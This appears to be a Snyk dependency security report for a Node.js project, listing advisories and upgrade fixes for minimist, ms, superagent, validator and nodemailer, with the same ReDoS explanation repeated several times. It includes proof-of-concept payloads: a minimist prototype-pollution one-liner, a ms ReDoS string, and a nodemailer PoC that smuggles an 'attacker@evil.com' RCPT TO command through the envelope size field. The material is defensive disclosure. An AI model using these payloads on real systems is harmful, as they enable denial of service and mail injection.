0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade eslint to version 4.18.2 or higher.
References
low severity
- Vulnerable module: minimist
- Introduced through: coveralls@2.13.3, mocha@3.5.3 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › coveralls@2.13.3 › minimist@1.2.0Remediation: Upgrade to coveralls@3.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › mocha@3.5.3 › mkdirp@0.5.1 › minimist@0.0.8Remediation: Upgrade to mocha@6.2.3.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › mkdirp@0.5.1 › minimist@0.0.8
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.
Notes:
This vulnerability is a bypass to CVE-2020-7598
The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.
PoC by Snyk
require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist to version 0.2.4, 1.2.6 or higher.
References
low severity
patched
- Vulnerable module: ms
- Introduced through: nightwatch@0.9.21
Vulnerability patched for: nightwatch mocha-nightwatch debug ms
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › mocha-nightwatch@3.2.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
Overview
ms is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms to version 2.0.0 or higher.
References
low severity
- Vulnerable module: superagent
- Introduced through: chai-http@3.0.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › chai-http@3.0.0 › superagent@2.3.0Remediation: Upgrade to chai-http@4.0.0.
Overview
superagent is a Small progressive client-side HTTP request library, and Node.js module with the same API, supporting many high-level HTTP client features.
Affected versions of this package are vulnerable to Denial of Service (DoS). It uncompresses responses in memory, and a malicious user may send a specially crafted zip file which will then unzip in the server and cause excessive CPU consumption. This is also known as a Zip Bomb.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade superagent to version 3.7.0 or higher.
References
low severity
- Vulnerable module: validator
- Introduced through: sequelize@3.35.1 and validator@7.2.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › sequelize@3.35.1 › validator@5.7.0Remediation: Upgrade to sequelize@4.17.2.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › validator@7.2.0Remediation: Upgrade to validator@9.4.1.
Overview
validator is a library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\s*data:([a-z]+\/[a-z0-9\-\+]+(;[a-z\-]+=[a-z0-9\-]+)?)?(;base64)?,[a-z0-9!\$&',\(\)\*\+,;=\-\._~:@\/\?%\s]*\s*$) in order to validate Data URIs. This can cause an impact of about 10 seconds matching time for data 70K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 16th, 2018 - Initial Response from package owner
- Feb 18th, 2018 - Fix issued
- Feb 18th, 2018 - Vulnerability published
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade validator to version 9.4.1 or higher.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@4.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemailer@4.7.0Remediation: Upgrade to nodemailer@8.0.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.
Note:
This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.
PoC
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Remediation
Upgrade nodemailer to version 8.0.4 or higher.